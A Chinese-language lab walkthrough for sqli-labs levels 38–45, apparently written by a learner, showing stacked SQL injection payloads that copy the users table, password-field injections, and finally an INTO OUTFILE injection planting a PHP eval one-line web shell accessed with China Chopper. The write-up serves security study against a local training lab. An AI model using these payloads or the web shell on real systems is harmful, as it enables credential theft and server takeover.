less-38
前置基础知识:堆叠注入 参考链接:https://www.cnblogs.com/lcamry/p/5762905.html
实际上就是多条sql语句一起使用。
在38关源码中加入输出sql语句的代码:
第一种办法:其实直接可以使用联合查询爆出数据:
http://192.168.0.106:300/Less-38/?id=0'union select 1,2,3 --+
但是主要考的是堆叠注入,所以我们用二种办法:堆叠注入
http://192.168.0.106:300/Less-38/?id=1';create table hzk38 like users;insert into hzk38 select *from users; --+
可以发现,在数据库中已经新建了一个表,并且信息都是用户名密码。
注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构
参考链接:https://blog.csdn.net/qi95719/article/details/60883148
less-39
id=1
一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-39/?id=1;create table hzk39 like users;insert into hzk39 select *from users; --+
less-40
id=(‘1’),并且错误不回显
一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-40/?id=1‘);create table hzk40 like users;insert into hzk40 select *from users; --+
less-41
id=1,并且错误不回显
一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-41/?id=1;create table hzk41 like users;insert into hzk41 select *from users; --+
less-42
这一关与之前的二次注入类似。但是这次用的是堆叠注入的方式。
观察源码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'"
里面的password没有经过过滤,并且是单引号进行包裹,所以在这进行构造,注入之前可以现在浏览器把password的type改成明文格式方便观察:
a';create table hzk42 like users;insert into hzk42 select *from users; #
less-43
与42关基本一样。区别在:id=(’1‘)
password构造语句:a');create table hzk43 like users;insert into hzk43 select *from users; #
less-44
与42关基本一样。区别在:没有回显信息 id=’1‘
password构造语句:a';create table hzk44 like users;insert into hzk44 select *from users; #
less-45
与42关基本一样。区别在:没有回显信息 id=(’1‘)
password构造语句:a');create table hzk45 like users;insert into hzk45 select *from users; #
注意:如果你做这几关数据库乱了,可以直接在sqli-labs首页第一行重置数据库:
堆叠注入的另一种打开方式:(less38-45的第二种办法)
堆叠注入写入一句话木马:以45关为例
passqord注入语句:a’);select '<?php @eval($_POST[“hzk”]);?>' into outfile ‘C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-45\\mm.php’ #
然后用中国菜刀就能获得权限:
另外:
这几关的注入提示语句:哈哈哈